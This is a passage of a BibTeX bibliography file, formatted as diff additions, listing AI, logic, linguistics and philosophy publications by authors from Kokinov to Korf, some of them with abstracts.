+ +@incollection{ kokinov-grinberg:2001a, + author = {Boicho Kokinov and Maurice Grinberg}, + title = {Simulating Context Effects in Problem Solving with + {AMBR}}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {221--234}, + address = {Berlin}, + topic = {context;analogy;problem-solving;cognitive-psychology;} + } + +@article{ koktova:1987a, + author = {Eva Koktova}, + title = {On the Scoping Properties of Negation, Focusing Particles and + Sentence Adverbials}, + journal = {Theoretical Linguistics}, + year = {1987}, + volume = {14}, + number = {2/3}, + pages = {173--226}, + topic = {sentence-focus;nl-negation;pragmatics;} + } + +@book{ kolak:1998a, + author = {Daniel Kolak}, + title = {Wittgenstein's {T}ractatus}, + publisher = {Mayfield Publishing Co.}, + year = {1998}, + address = {Mountain View, California}, + topic = {early-Wittgenstein;} + } + +@book{ kolb-monnich:1999a, + editor = {Hans-Peter Kolb and Uwe M\"onnich}, + title = {The Mathematics of Syntactic Structures: Trees and + Their Logics}, + publisher = {Mouton de Gruyter}, + year = {1999}, + address = {Berlin}, + ISBN = {3-11-016273-3}, + xref = {Review: penn:2000a.}, + topic = {mathematical-linguistics;} + } + +@inproceedings{ kolbe-walther:1995a, + author = {Thomas Kolbe and Christoph Walther}, + title = {Second-Order Matching Modulo Evaluation---A Technique for + Reusing Proofs}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {190--195}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {theorem-proving;proof-reuse;} + } + +@incollection{ kolbe-walther:1998a, + author = {Thomas Kolbe and Christoph Walther}, + title = {Proof Analysis, Generalization, and Reuse}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + topic = {theorem-proving;applied-logic;proof-reuse;} + } + +@article{ kolbel:2001a, + author = {Max K\"olbel}, + title = {Two Dogmas of {D}avidsonian Semantics}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {12}, + pages = {613--635}, + topic = {Davidson-semantics;foundations-of-semantics;} + } + +@incollection{ koller-halpern:1992a, + author = {Daphne Koller and Joswph Y. Halpern}, + title = {A Logic for Approximate Reasoning}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {153--164}, + address = {San Mateo, California}, + topic = {reasoning-about-uncertainty;} + } + +@inproceedings{ koller-halpern:1996a, + author = {Daphne Koller and Joseph Y. Halpern}, + title = {Irrelevance and Conditioning in First-Order Probabilistic + Logic}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {569--576}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {probabilistic-reasoning;probability-semantics;nonmonotonic-logic; + conditioning-methods;} + } + +@inproceedings{ koller-etal:1997a, + author = {Daphne Koller and Alon Levy and Avi Pfeffer}, + title = {{\sc P-Classic:} A Tractable Probabilistic Description Logic}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference, + Vol. 1}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {390--397}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {probabilistic-reasoning;Bayesian-networks; + taxonomic-logics;extensions-of-kl1;tractable-logics;krcourse;} + } + +@inproceedings{ koller-pfeffer:1997a, + author = {Daphne Koller and Avi Pfeffer}, + title = {Object-Oriented Bayesian Networks}, + booktitle = {Proceedings of the Thirteenth Conference on + Uncertainty in Artificial Intelligence (UAI-97)}, + year = {1997}, + pages = {302--313}, + missinginfo = {editor, publisher, address}, + topic = {temporal-reasoning;probabilistic-reasoning;} + } + +@article{ koller-pfeffer:1997b, + author = {Daphne Koller and Avi Pfeffer}, + title = {Representations and Solutions for Game-Theoretic Problems}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {167--215}, + topic = {game-theory;distributed-systems;} + } + +@book{ kolmogorov:1933a1, + author = {A.N. Kolmogorov}, + title = {Grundlagen der {W}ahrscheinlichkeitsrechnung}, + publisher = {Springer-Verlag}, + year = {1933}, + address = {Berlin}, + missinginfo = {A's 1st name.}, + xref = {See kolmogorov:1933a2 for translation.}, + topic = {foundations-of-probability;} + } + +@book{ kolmogorov:1956a2, + author = {A.N. Kolmogorov}, + title = {Foundations of the Theory of Probability}, + publisher = {Chelsea}, + year = {1956}, + address = {New York}, + missinginfo = {A's 1st name.}, + xref = {Original publication: kolmogorov:1933a1.}, + topic = {foundations-of-probability;} + } + +@inproceedings{ kolzer:1999a, + author = {Anke K\"olzer}, + title = {Universal Dialogue Specification for Conversational + Systems}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {65--72}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;spoken-dialogue-systems;} + } + +@article{ kondo:1989a, + author = {Michiro Kondo}, + title = {{A1} is Not a Conservative Extension of {S4} but of + {S5}}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {3}, + pages = {321--323}, + topic = {modal-logic;} + } + +@article{ kondrak-vanbeek:1997a, + author = {Grzegorz Kondrak and Peter {van Beek}}, + title = {A Theoretical Evaluation of Selected Backtracking + Algorithms}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {89}, + number = {1--2}, + pages = {365--387}, + topic = {constraint-satisfaction;AI-algorithms-analysis;backtracking;} + } + +@article{ kondrak:2001a, + author = {Grzegorz Kondrak}, + title = {Review of {\it The Significance of Word Lists}, by + {B}rett {K}essler}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {588--591}, + xref = {Review of: kessler:2001a.}, + topic = {computational-historical-linguistics;} + } + +@incollection{ konieczny-pinoperez:1998a, + author = {S\'ebastian Konieczny and Ram\'on Pino-P\'erez}, + title = {On the Logic of Merging}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {488--498}, + address = {San Francisco, California}, + topic = {kr;social-choice-theory;belief-revision;kr-course;} + } + +@inproceedings{ konieczny:2000a, + author = {S\'ebastian Konieczny}, + title = {On the Difference between Merging Knowledge Bases and + Combining Them}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {135--144}, + topic = {knowledge-integration;} + } + +@incollection{ konieczny-etal:2002a, + author = {S\'ebastien Konieczny and J\'erome Lang and Pierre Marquis}, + title = {Distance-Based Merging: A General Framework and Some + Complexity Results}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {97--}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;knowledge-integration;} + } + +@incollection{ konieczny-pinopirez:2002a, + author = {S\'ebastien Konieczny and Ram\'on Pino Pirez}, + title = {On the Frontier between Arbitration and Majority}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {109--118}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;knowledge-integration;} + } + +@incollection{ konig:1981a, + author = {Ekkehard K\"onig}, + title = {The Meaning of Scalar Particles in {G}erman}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {107--132}, + address = {Berlin}, + topic = {nl-semantics;degree-modifiers;German-language;} + } + +@incollection{ konig:1986a, + author = {Ekkehard K\"onig}, + title = {Conditionals, Concessive Conditionals + and Concessives: Areas of Contrast, Overlap, + and Neutralization}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {229--246}, + address = {Cambridge, England}, + topic = {concessive-conditionals;conditionals;} + } + +@article{ konig_e-mengel:2000a, + author = {Esther K\"onig and Andreas Mengel}, + title = {Review of {\em Linguistic Databases}, + edited by {J}ohn {N}erbonne}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {513--517}, + xref = {Review of nerbonne:1997a.}, + topic = {linguistic-databases;corpus-linguistics; + computer-assisted-science;computer-assisted-linguistics;} + } + +@article{ konig_e1:1977a, + author = {Ekkehard K\"onig}, + title = {Temporal and Non-Temporal Uses of `Noch' and `Schon' + in {G}erman}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {173--198}, + topic = {still;already;German-language;} + } + +@incollection{ konig_e1:1979a, + author = {Ekkehard K\"onig}, + title = {A Semantic Analysis of German `Erst'\, } , + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {148--160}, + topic = {nl-semantics;`only';} + } + +@techreport{ konolige:1983a, + author = {Kurt Konolige}, + title = {A Deductive Model of Belief}, + institution = {AI Center, SRI International}, + number = {Technical Note 294}, + year = {1983}, + address = {Menlo Park, California}, + topic = {epistemic-logic;hyperintensionality;belief;} + } + +@inproceedings{ konolige:1986a, + author = {Kurt Konolige}, + title = {What Awareness Isn't: A Sentential View of Implicit and + Explicit Belief}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {241--250}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {hyperintensionality;epistemic-logic;belief;} + } + +@book{ konolige:1986b, + author = {Kurt Konolige}, + title = {A Deduction Model of Belief}, + publisher = {Morgan Kaufmann}, + year = {1986}, + address = {Los Altos, California}, + ISBN = {0934613087}, + topic = {epistemic-logic;hyperintensionality;belief;} + } + +@article{ konolige:1988a1, + author = {Kurt Konolige}, + title = {On the Relation Between Default and Autoepistemic Logic}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {3}, + pages = {343--382}, + note = {(See also erratum, Artificial Intelligence {\bf 41}(1): 115.)}, + xref = {Republication: konolige:1988a2. Erratum: konolige:1990d.}, + topic = {kr;nonmonotonic-logic;autoepistemic-logic;default-logic;kr-course;} + } + +@incollection{ konolige:1988a2, + author = {Kurt Konolige}, + title = {On the Relation Between Default and + Autoepistemic Logic}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {195--226}, + address = {Los Altos, California}, + xref = {Journal Publication: konolige:1990a1.}, + topic = {kr;nonmonotonic-logic;autoepistemic-logic;default-logic;kr-course;} + } + +@inproceedings{ konolige:1988b, + author = {Kurt Konolige}, + title = {Hierarchic Autoepistemic Logic for Nonmonotonic Reasoning}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {439--443}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {kr;nonmonotonic-logic;autoepistemic-logic;kr-course;} + } + +@article{ konolige:1989a, + author = {Kurt Konolige}, + title = {Quantification in Autoepistemic Logic}, + journal = {Fundamenta Informaticae}, + year = {1991}, + volume = {15}, + number = {3--4}, + pages = {275--300}, + topic = {autoepistemic-logic;} + } + +@misc{ konolige:1990a, + author = {Kurt Konolige}, + title = {Intention, Commitment and Preference}, + howpublished = {MS}, + year = {1990}, + topic = {intention;qualitative-utility;preference;} + } + +@inproceedings{ konolige:1990b, + author = {Kurt Konolige}, + title = {A General Theory of Abduction}, + booktitle = {Working Notes, {AAAI} Spring Symposium on Automated + Deduction}, + year = {1990}, + editor = {P. O'Rorke}, + pages = {62--66}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {E's 1st name}, + topic = {abduction;} + } + +@inproceedings{ konolige:1990c, + author = {Kurt Konolige}, + title = {Explanatory Belief Ascription}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {85--96}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {propositional-attitudes;propositional-attitude-ascription;} + } + +@article{ konolige:1990d, + author = {Kurt Konolige}, + title = {On the Relation between Default Theories and Autoepistemic + Logic (Erratum)}, + journal = {Artificial Intelligence}, + volume = {41}, + number = {1}, + year = {1990}, + pages = {115}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ konolige-pollack:1990a, + author = {Kurt Konolige and Martha Pollack}, + title = {A Representationalist Theory of Intention}, + year = {1993}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + editor = {Ruzena Bajcsy}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {pages}, + topic = {intention;} + } + +@incollection{ konolige:1992a, + author = {Kurt Konolige}, + title = {Using Default and Causal Reasoning in Diagnosis}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {509--520}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;causality;diagnosis;kr-course;} + } + +@article{ konolige:1992b, + author = {Kurt Konolige}, + title = {Abduction Versus Closure in Causal Theories}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {255--272}, + topic = {abduction;diagnosis;} + } + +@inproceedings{ konolige-pollack_me:1993a, + author = {Kurt Konolige and Martha Pollack}, + title = {A Representationalist Theory of Intention}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Ruzena Bajcsy}, + pages = {390--395}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {intention;agent-modeling;} + } + +@incollection{ konolige:1994a, + author = {Kurt Konolige}, + title = {Easy to be Hard: Difficult Problems for Greedy Algorithms}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {374--378}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;kr-course;} + } + +@incollection{ konolige:1994b, + author = {Kurt Konolige}, + title = {Autoepistemic Logic}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {217--295}, + address = {Oxford}, + topic = {default-logic;nonmonotonic-logic;} + } + +@incollection{ konolige:1996a, + author = {Kurt Konolige}, + title = {Elements of Uncertain Reasoning}, + booktitle = {Philosophy and Cognitive Science}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + editor = {Andy Clark and Jes\'us Ezquerro and Jes\'us M. Larrazabal}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {uncertainty-in-AI;} + } + +@incollection{ konolige:1996b, + author = {Kurt Konolige}, + title = {Abductive Theories in Artificial Intelligence}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {129--152}, + address = {Stanford, California}, + topic = {abduction;} + } + +@book{ konolige-etal:1996a, + author = {Kurt Konolige and Gerd Brewka and J\"urgen Dix}, + title = {A Tutorial on Nonmonotonic Reasoning}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {nonmonotonic-reasoning-survey;} + } + +@phdthesis{ konrad:2000a, + author = {Karsten Konrad}, + title = {Model Generation for Natural Language Interpretation + and Analysis}, + school = {Universit\"at des Saarlandes}, + year = {2000}, + note = {Available at http://www.ags.uni-sb.de/\user{}konrad.}, + topic = {model-construction;} + } + +@book{ kooij:1971a, + author = {J.G. Kooij}, + title = {Ambiguity in Natural Language: An Investigation + of Certain Problems in Its Description}, + publisher = {North-Holland Publishing Co.}, + year = {1971}, + address = {Amsterdam}, + xref = {Review: nilsen:1973a.}, + topic = {ambiguity;} + } + +@incollection{ kool-etal:2000a, + author = {Anne Kool and Walter Daelemans and Jakub Zavrel}, + title = {Genetic Algorithms for Feature Relevance Assignment in + Memory-Based Language Processing}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {103--106}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;genetic-algorithms; + computational-morphology;hapax-legomena;} + } + +@techreport{ koomen:1989a, + author = {Johannes A.G.M. Koomen}, + title = {The {\sc timelogic} Temporal Reasoning System}, + institution = {Computer Science Deaprtment, University of Rochester}, + number = {231}, + year = {1989}, + address = {Rochester, New York 14627}, + topic = {temporal-reasoning;} + } + +@incollection{ koomen:1989b, + author = {Johannes A.G.M. Koomen}, + title = {Localizing Temporal Constraint Propagation}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {198--202}, + address = {San Mateo, California}, + topic = {kr;kr-course;constraint-propagation;temporal-reasoning;} + } + +@inproceedings{ koons:1988a, + author = {Robert C. Koons}, + title = {Doxastic Paradoxes without Self-Reference}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {29--41}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {intensional-paradoxes;} + } + +@incollection{ koons:1990a, + author = {Robert C. Koons}, + title = {Three Indexical Solutions to the Liar}, + booktitle = {Situation Theory and its Applications}, + publisher = {Center for the Study of Language and Information}, + year = {1990}, + editor = {Robin Cooper and Kuniaki Mukai and John Perry}, + pages = {259--286}, + address = {Stanford, California}, + topic = {semantic-paradoxes;context;} + } + +@book{ koons:1992a, + author = {Robert C. Koons}, + title = {Paradoxes of Belief and Strategic Rationality}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + topic = {foundations-of-decision-theory;foundations-of-game-theory; + rationality;syntactic-attitudes;mutual-belief; + semantic-paradoxes;context;} + } + +@incollection{ koons:1992b, + author = {Robert C. Koons}, + title = {Doxastic Paradox and Reputation Effects in Iterated + Games}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {60--72}, + address = {San Francisco}, + topic = {semantic-paradoxes;game-theory;epistemic-logic;} + } + +@unpublished{ koons:1993a, + author = {Robert C. Koons}, + title = {Nonmonotonic Prediction, Causation, and Induction}, + year = {1993}, + note = {Unpublished Manuscript, Philosophy Department, University + of Texas at Austin.}, + topic = {nonmonotonic-reasoning;causality;} + } + +@article{ koons:1994a, + author = {Robert C. Koons}, + title = {A New Solution to the Sorites Problem}, + journal = {Mind}, + year = {1994}, + volume = {119}, + pages = {535--557}, + number = {412}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ koons-asher:1994a, + author = {Robert Koons and Nicholas Asher}, + title = {Belief Revision in a Changing World}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {321--340}, + address = {San Francisco}, + topic = {belief-revision;temporal-reasoning;} + } + +@article{ koopman:1940a1, + author = {B.O. Koopman}, + title = {The Bases of Probability}, + journal = {Bulletin of the {A}merican {M}athematical {S}ociety}, + year = {1940}, + volume = {46}, + pages = {763--774}, + missinginfo = {A's 1st name, number}, + xref = {Republished: koopman:1940a2}, + topic = {subjective-probabilty;qualitative-probability;} + } + +@incollection{ koopman:1940a2, + author = {B.O. Koopman}, + title = {The Bases of Probability}, + booktitle = {Studies in Subjective Probability}, + publisher = {John Wiley and Sons}, + year = {1964}, + editor = {Henry E. {Kyburg, Jr.} and Howard E. Smokler}, + pages = {93--158}, + address = {New York}, + xref = {Original publication: koopman:1940a1}, + missinginfo = {A's 1st name.}, + topic = {subjective-probability;qualitative-probability;} + } + +@article{ koopman:1940b, + author = {B.O. Koopman}, + title = {The Axioms and Algebra of Intuitive Probability}, + journal = {Annals of Mathematics}, + year = {1940}, + volume = {41}, + pages = {269--292}, + missinginfo = {A's 1st name, number}, + topic = {subjective-probabilty;qualitative-probability;} + } + +@incollection{ koppel:1988a, + author = {Moshe Koppel}, + title = {Structure}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {435--452}, + address = {Oxford}, + topic = {theory-of-computation;randomness;} + } + +@incollection{ kopperschmidt:1985a, + author = {Josef Kopperschmidt}, + title = {An Analysis of Argumentation}, + booktitle = {Handbook of Discourse Analysis, Volume 2}, + publisher = {Academic Press}, + year = {1985}, + editor = {Teun A. {van Dijk}}, + pages = {159--167}, + address = {New York}, + topic = {argumentation;} + } + +@inproceedings{ korb:1992a, + author = {Kevin B. Korb}, + title = {The Collapse of Collective Defeat: Lessons from the Lottery + Paradox}, + booktitle = {{PSA} 1992: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 1}, + year = {1992}, + editor = {David Hull and Micky Forbes and Kathleen Okruhlik}, + pages = {230--236}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {lottery-paradox;logicism;} + } + +@incollection{ korb:1994a, + author = {Kevin B. Korb}, + title = {Infinitely Many Resolutions of {H}empel's Paradox}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {138--149}, + address = {San Francisco}, + topic = {confirmation-theory;Hempel-paradox;} + } + +@article{ korf:1980a, + author = {Richard E. Korf}, + title = {Toward a Model of Representation Changes}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {1}, + pages = {41--78}, + acontentnote = {Abstract: + The paper presents the first steps in the development of a + computer model of the process of changing representations in + problem solving. The task of discovering representations that + yield efficient solution strategies for problems is viewed as + heuristic search in the space of representations. Two dimensions + of this representation space are information structure and + information quantity. Changes of representation are + characterized as isomorphisms and homomorphisms, corresponding + to changes of information structure and information quantity, + respectively. A language for expressing representations is + given. Also, a language for describing representation + transformations and an interpreter for applying the + transformations to representations has been developed. In + addition, transformations can be automatically inverted and + composed to generate new transformations. Among the example + problems used to illustrate and support this model are + tic-tac-toe, integer arithmetic, the Tower of Hanoi problem, the + arrow puzzle, the five puzzle, the mutilated checkerboard + problem, and floor plan design. The system has also been used + to generate some new NP-complete problems. } , + topic = {problem-solving;kr;} + } + +@article{ korf:1985a, + author = {Richard E. Korf}, + title = {Depth-First Iterative-Deepening: An Optimal Admissible + Tree Search}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {1}, + pages = {97--109}, + topic = {search;iterative-deepening;} + } + +@article{ korf:1985b, + author = {Richard E. Korf}, + title = {Macro-Operators: A Weak Method for Learning}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {1}, + pages = {35--77}, + acontentnote = {Abstract: + This article explores the idea of learning efficiency strategies + for solving problems by searching for macro-operators. A + macro-operator, or macro for short, is simply a sequence of + operators chosen from the primitive operators of a problem. The + technique is particularly useful for problems with + non-serializable subgoals, such as Rubik's Cube, for which other + weak methods fail. Both a problem-solving program and a + learning program are described in detail. The performance of + these programs is analyzed in terms of the number of macros + required to solve all problem instances, the length of the + resulting solutions (expressed as the number of primitive + moves), and the amount of time necessary to learn the macros. + In addition, a theory of why the method works, and a + characterization of the range of problems for which it is useful + are presented. The theory introduces a new type of problem + structure called operator decomposability. Finally, it is + concluded that the macro technique is a new kind of weak method, + a method for learning as opposed to problem solving.}, + topic = {rule-learning;machine-learning;cognitive-architectures; + macro-operators;} + } + +@article{ korf:1987a, + author = {Richard E. Korf}, + title = {Planning as Search: A Quantitative Approach}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {1}, + pages = {65--88}, + topic = {planning;search;} + } + +@article{ korf:1990a, + author = {Richard E. Korf}, + title = {Real-Time Heuristic Search}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {3}, + pages = {189--211}, + topic = {search;} + } + +@article{ korf:1991a, + author = {Richard E. Korf}, + title = {Multi-Player Alpha-Beta Pruning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {99--111}, + topic = {search;} + } + +@article{ korf:1993a, + author = {Richard E. Korf}, + title = {Linear-Space Best-First Search}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {41--78}, + acontentnote = {Abstract: + Best-first search is a general heuristic search algorithm that + always expands next a frontier node of lowest cost. It includes + as special cases breadth-first search, Dijkstra's single-source + shortest-path algorithm, and the A* algorithm. Its + applicability, however, is limited by its exponential memory + requirement. Previous approaches to this problem, such as + iterative deepening, do not expand nodes in best-first order if + the cost function can decrease along a path. We present a + linear-space best-first search algorithm (RBFS) that always + explores new nodes in best-first order, regardless of the cost + function, and expands fewer nodes than iterative deepening with + a nondecreasing cost function. On the sliding-tile puzzles, RBFS + with a nonmonotonic weighted evaluation function dramatically + reduces computation time with only a small penalty in solution + cost. In general, RBFS reduces the space complexity of + best-first search from exponential to linear, at the cost of + only a constant factor in time complexity in our experiments.}, + topic = {search;iterative-deepening;} + } + +@article{ korf-maxwell:1996a, + author = {Richard E. Korf and David Maxwell}, + title = {Chickering Best-First Minimax Search}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {299--337}, + acontentnote = {Abstract: + We describe a very simple selective search algorithm for + two-player games, called best-first minimax. It always expands + next the node at the end of the expected line of play, which + determines the minimax value of the root. It uses the same + information as alpha-beta minimax, and takes roughly the same + time per node generation. We present an implementation of the + algorithm that reduces its space complexity from exponential to + linear in the search depth, but at significant time cost. Our + actual implementation saves the subtree generated for one move + that is still relevant after the player and opponent move, + pruning subtrees below moves not chosen by either player. We + also show how to efficiently generate a class of incremental + random game trees. On uniform random game trees, best-first + minimax outperforms alpha-beta, when both algorithms are given + the same amount of computation. On random trees with random + branching factors, best-first outperforms alpha-beta for shallow + depths, but eventually loses at greater depths. We obtain + similar results in the game of Othello. Finally, we present a + hybrid best-first extension algorithm that combines alpha-beta + with best-first minimax, and performs significantly better than + alpha-beta in both domains, even at greater depths. In Othello, + it beats alpha-beta in two out of three games.}, + topic = {search;game-playing;game-trees;} + } + +@article{ korf:1998a, + author = {Richard E. Korf}, + title = {A Complete Anytime Algorithm for Number Partitioning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {133--155}, + acontentnote = {Abstract: + Given a set of numbers, the two-way number partitioning problem + is to divide them into two subsets, so that the sum of the + numbers in each subset are as nearly equal as possible. The + problem is NP-complete. Based on a polynomial-time heuristic due + to Karmarkar and Karp, we present a new algorithm, called + Complete Karmarkar-Karp (CKK), that optimally solves the general + number-partitioning problem, and significantly outperforms the + best previously-known algorithms for large problem instances. + For numbers with twelve significant digits or less, CKK can + optimally solve two-way partitioning problems of arbitrary size + in practice. For numbers with greater precision, CKK first + returns the Karmarkar-Karp solution, then continues to find + better solutions as time allows. Over seven orders of magnitude + improvement in solution quality is obtained in less than an hour + of running time. Rather than building a single solution one + element at a time, or modifying a complete solution, CKK + constructs subsolutions, and combines them together in all + possible ways. This approach may be effective for other NP-hard + problems as well.}, + topic = {partitioning-algorithms;complexity-in-AI; + AI-algorithms;AI-algorithms-analysis;} + } + +@article{ korf-etal:2001a, + author = {Richard E. Korf and Michael Reid and Stefan Edelkamp}, + title = {Time Complexity of Iterative-Deepening-$A^*$}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {199--218}, + topic = {complexity-in-AI;search;iterative-deepening;A*-algorithm;} + } + +@article{ 